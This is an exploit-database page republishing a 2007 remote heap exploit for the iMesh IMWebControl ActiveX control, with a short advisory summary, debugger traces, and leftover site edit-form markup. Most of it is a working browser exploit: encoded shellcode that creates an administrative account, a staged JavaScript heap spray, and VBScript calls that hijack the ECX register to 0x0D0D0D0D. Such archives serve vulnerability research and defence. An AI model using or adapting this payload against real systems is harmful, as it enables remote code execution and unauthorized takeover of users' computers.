header-logo
Suggest Exploit
vendor:
iMesh
by:
rgod
7,5
CVSS
HIGH
Heap Overflow
119
CWE
Product Name: iMesh
Affected Version From: 7.1.0.x
Affected Version To: 7.0.0.x
Patch Exists: YES
Related CWE: N/A
CPE: a:imesh:imesh
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2007

iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) remote heap exploit

iMesh is a file sharing and online social network. It uses a proprietary, centralized, P2P protocol. iMesh is owned by an American company iMesh, Inc. and maintains a development center in Israel. This vulnerability is caused by passing an empty value to ProcessRequestEx method. By hijacking the ECX register to an arbitrary value, an access violation can be triggered when reading 0D0D0D0D. This exploit adds an administrative account using various stages of heap spray.

Mitigation:

Upgrade to the latest version of iMesh
Source

Exploit-DB raw data:

<!--
iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) remote heap exploit
(IE7/XP full patched)
by rgod, site: http://retrogod.altervista.org/

software site: http://www.imesh.com

"iMesh is a file sharing and online social network. It uses a proprietary,
centralized, P2P protocol. iMesh is owned by an American company iMesh,
Inc. and maintains a development center in Israel.
iMesh was the first company to introduce "swarming" - the ability to download
one file from multiple sources, increasing download speed."

This is the problem with Imesh client :

passing an empy value to ProcessRequestEx method

EAX 9F291974
ECX 4D554E00 WINHTTP.4D554E00
EDX 017EF438
EBX 00000000
ESP 017EF410
EBP 017EF430
ESI 017EF438
EDI 01F51FF8
EIP 01F23A9C IMWebCon.01F23A9C

...
01F23A90   8B8F A8000000    MOV ECX,DWORD PTR DS:[EDI+A8]
01F23A96   8B01             MOV EAX,DWORD PTR DS:[ECX]
01F23A98   52               PUSH EDX
01F23A99   8BD6             MOV EDX,ESI
01F23A9B   52               PUSH EDX
01F23A9C   FF10             CALL DWORD PTR DS:[EAX] <----- crash

apparently this was unexploitable, ecx points to winhttp.dll which
keeps 0x9f291974, but I found that thru the SetHandler sub
you can hijack ecx to an arbitrary value...
So, setting the value to 218959117 you have:

EAX 017EF438
ECX 0D0D0D0D
EDX 017EF43C
EBX 00000000
ESP 017EF418
EBP 017EF430
ESI 017EF438
EDI 01EF1FF8
EIP 01EC3A96 IMWebCon.01EC3A96

...
01EC3A90   8B8F A8000000    MOV ECX,DWORD PTR DS:[EDI+A8]
01EC3A96   8B01             MOV EAX,DWORD PTR DS:[ECX] <------- crash
01EC3A98   52               PUSH EDX
01EC3A99   8BD6             MOV EDX,ESI
01EC3A9B   52               PUSH EDX
01EC3A9C   FF10             CALL DWORD PTR DS:[EAX]

Access violation when reading 0D0D0D0D
Now it is exploitable...
This add an administrative account
I used various stages of heap spray, do not crash just freeze, worked fine, 80%

-->
<html>
<object classid='clsid:7C3B01BC-53A5-48A0-A43B-0C67731134B9' id='IMWebControl' /></object>
<SCRIPT language="javascript">
//add su one, user: sun pass: tzu
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u
 426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<77;i++){memory[i] = block+shellcode}
bigblock  = unescape("%u0707%u0707");
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
for (i=77;i<144;i++){memory[i] = block+shellcode}
bigblock  = unescape("%u0909%u0909");
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
for (i=144;i<500;i++){memory[i] = block+shellcode}
</script>
<script language='vbscript'>
puf=218959117 'set ecx to 0x0d0d0d0d
IMWebControl.SetHandler puf
puf=""
IMWebControl.ProcessRequestEx puf
</script>
</html>

# milw0rm.com [2007-12-18]
&lt;/textarea&gt;<br>

  Text File Extension:<br><input type="text" size=5 name="extension" value="html"> <i>used at downloading</i><br><br>

  </span>

  <span id='pdf' style='display: none'>

  Attached File Name:<br><input name='filename' size=20 value=''> <i>file from 'papers' dir</i><br><br>

  </span>

  Application File Name:<br><input type="text" size=25 name="application" value="iMeshV7.exe"><br>

  MD5 of Application File:<br><input type="text" size=25 name="md5" value="0e0681816776e98c78432fcb4cd6f1cf"><br><br>

  <!--CVE:<br><input type="text" size=25 name="cve" value=""><br><br>-->

  Verified: <input type="checkbox" name="verified" value=1 checked ><br><br>

  <input type='submit' value="Save">

  </form>

  <br>


  <h3>Codes of this record</h3>

  <table border=1>

  <tr><td>#<td>ID<td>OSVDB<td>CVE<td> <td> </tr>


  </table>

  <a href='?action=code_edit&mw_id=9477&back=9477&page=0&id_filter=9477&desc_filter=&platform_filter=&type_filter=&port_filter=&author_filter=&duplicates_filter=&verified_filter=&osvdb_filter=&cve_filter='>Add codes</a>

  <br>

Navigation

Suggest Exploit

Services By CQR